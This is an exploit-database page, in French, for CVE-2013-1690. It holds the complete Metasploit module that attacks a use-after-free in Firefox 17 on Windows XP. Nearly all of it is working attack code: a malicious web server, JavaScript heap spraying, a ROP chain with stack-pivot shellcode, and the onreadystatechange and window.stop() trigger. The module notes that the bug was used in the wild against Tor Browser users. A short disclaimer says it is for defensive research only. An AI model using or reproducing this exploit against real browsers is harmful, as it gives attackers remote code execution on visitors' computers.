Exploit matérialisé

CVE-2013-1690

HIGH KEV

1 exploit(s) public(s) pour cette CVE, 1 matérialisé(s) avec leur code.

À des fins de recherche défensive uniquement. Ne testez que sur des systèmes que vous possédez ou pour lesquels vous détenez une autorisation écrite. L'accès non autorisé est illégal.

ExploitDB remote windows Vérifié

Source

Mozilla Firefox - onreadystatechange Event DocumentViewerImpl Use-After-Free (Metasploit)

Par Metasploit

Comment tester cet exploit

Exploit distant. Ciblez une instance vulnérable isolée (VM/lab), jamais un système de production.

ruby 27429.rb

Code rb

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##


require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::HttpServer::HTML
  include Msf::Exploit::RopDb

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Firefox onreadystatechange Event DocumentViewerImpl Use After Free',
      'Description'    => %q{
        This module exploits a vulnerability found on Firefox 17.0.6, specifically an use
        after free of a DocumentViewerImpl object, triggered via an specially crafted web
        page using onreadystatechange events and the window.stop() API, as exploited in the
        wild on 2013 August to target Tor Browser users.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Nils',        # vulnerability discovery
          'Unknown',     # 1day exploit, prolly the FBI
          'w3bd3vil',    # 1day analysis
          'sinn3r',      # Metasploit module
          'juan vazquez' # Metasploit module
        ],
      'References'     =>
        [
          [ 'CVE', '2013-1690' ],
          [ 'OSVDB', '94584'],
          [ 'BID', '60778'],
          [ 'URL', 'https://www.mozilla.org/security/announce/2013/mfsa2013-53.html' ],
          [ 'URL', 'https://lists.torproject.org/pipermail/tor-announce/2013-August/000089.html' ],
          [ 'URL', 'https://bugzilla.mozilla.org/show_bug.cgi?id=901365' ],
          [ 'URL', 'http://krash.in/ffn0day.txt' ],
          [ 'URL', 'http://hg.mozilla.org/releases/mozilla-esr17/rev/2d5a85d7d3ae' ]
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process',
          'InitialAutoRunScript' => 'migrate -f'
        },
      'Payload'        =>
        {
          'BadChars'       => "\x00",
          'DisableNops'    => true
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'Firefox 17 & Firefox 21 / Windows XP SP3',
            {
              'FakeObject' => 0x0c101008, # Pointer to the Sprayed Memory
              'RetGadget'  => 0x77c3ee16, # ret from msvcrt
              'StackPivot' => 0x76C9B4C2, # xcht ecx,esp # or byte ptr[eax], al # add byte ptr [edi+5Eh], bl # ret 8 from IMAGEHLP
              'VFuncPtr'   => 0x0c10100c  # Fake Function Pointer to the Sprayed Memory
            }
          ]
        ],
      'DisclosureDate' => 'Jun 25 2013',
      'DefaultTarget'  => 0))

  end

  def stack_pivot
    pivot = "\x64\xa1\x18\x00\x00\x00"  # mov eax, fs:[0x18 # get teb
    pivot << "\x83\xC0\x08"             # add eax, byte 8 # get pointer to stacklimit
    pivot << "\x8b\x20"                 # mov esp, [eax] # put esp at stacklimit
    pivot << "\x81\xC4\x30\xF8\xFF\xFF" # add esp, -2000 # plus a little offset
    return pivot
  end

  def junk(n=4)
    return rand_text_alpha(n).unpack("V").first
  end

  def on_request_uri(cli, request)
    agent = request.headers['User-Agent']
    vprint_status("Agent: #{agent}")

    if agent !~ /Windows NT 5\.1/
      print_error("Windows XP not found, sending 404: #{agent}")
      send_not_found(cli)
      return
    end

    if agent !~ /Firefox\/17/ or agent !~ /Firefox\/21/
      print_error("Browser not supported, sending 404: #{agent}")
      send_not_found(cli)
      return
    end

    my_uri = ('/' == get_resource[-1,1]) ? get_resource[0, get_resource.length-1] : get_resource

    # build html
    code = [
      target['VFuncPtr'],
      target['RetGadget'],
      target['StackPivot'],
      junk
    ].pack("V*")
    code << generate_rop_payload('msvcrt', stack_pivot + payload.encoded, {'target'=>'xp'})
    js_code = Rex::Text.to_unescape(code, Rex::Arch.endian(target.arch))
    js_random = Rex::Text.to_unescape(rand_text_alpha(4), Rex::Arch.endian(target.arch))

    content = <<-HTML
<html>
<body>
<iframe src="#{my_uri}/iframe.html"></iframe>
</body></html>
    HTML

    # build iframe
    iframe = <<-IFRAME
<script>
var z="<body><img src='nonexistant.html' onerror=\\"\\" ></body>";
var test = new Array();
var heap_chunks;
function heapSpray(shellcode, fillsled) {
  var chunk_size, headersize, fillsled_len, code;
  var i, codewithnum;
  chunk_size = 0x40000;
  headersize = 0x10;
  fillsled_len = chunk_size - (headersize + shellcode.length);
  while (fillsled.length <fillsled_len)
    fillsled += fillsled;
  fillsled = fillsled.substring(0, fillsled_len);
  code = shellcode + fillsled;
  heap_chunks = new Array();
  for (i = 0; i<1000; i++)
  {
    codewithnum = "HERE" + code;
    heap_chunks[i] = codewithnum.substring(0, codewithnum.length);
  }
}


function b() {
  for(var c=0;1024>c;c++) {
    test[c]=new ArrayBuffer(180);
    bufView = new Uint32Array(test[c]);
    for (var i=0; i < 45; i++) {
      bufView[i] = #{target['FakeObject']};
    }
  }
}

function a() {
  window.stop();
  var myshellcode = unescape("#{js_code}");
  var myfillsled = unescape("#{js_random}");
  heapSpray(myshellcode,myfillsled);
  b();
  window.parent.frames[0].frameElement.ownerDocument.write(z);
}

document.addEventListener("readystatechange",a,null);
</script>
    IFRAME

    print_status("URI #{request.uri} requested...")

    if request.uri =~ /iframe\.html/
      print_status("Sending iframe HTML")
      send_response(cli, iframe, {'Content-Type'=>'text/html'})
      return
    end

    print_status("Sending HTML")
    send_response(cli, content, {'Content-Type'=>'text/html'})

  end

end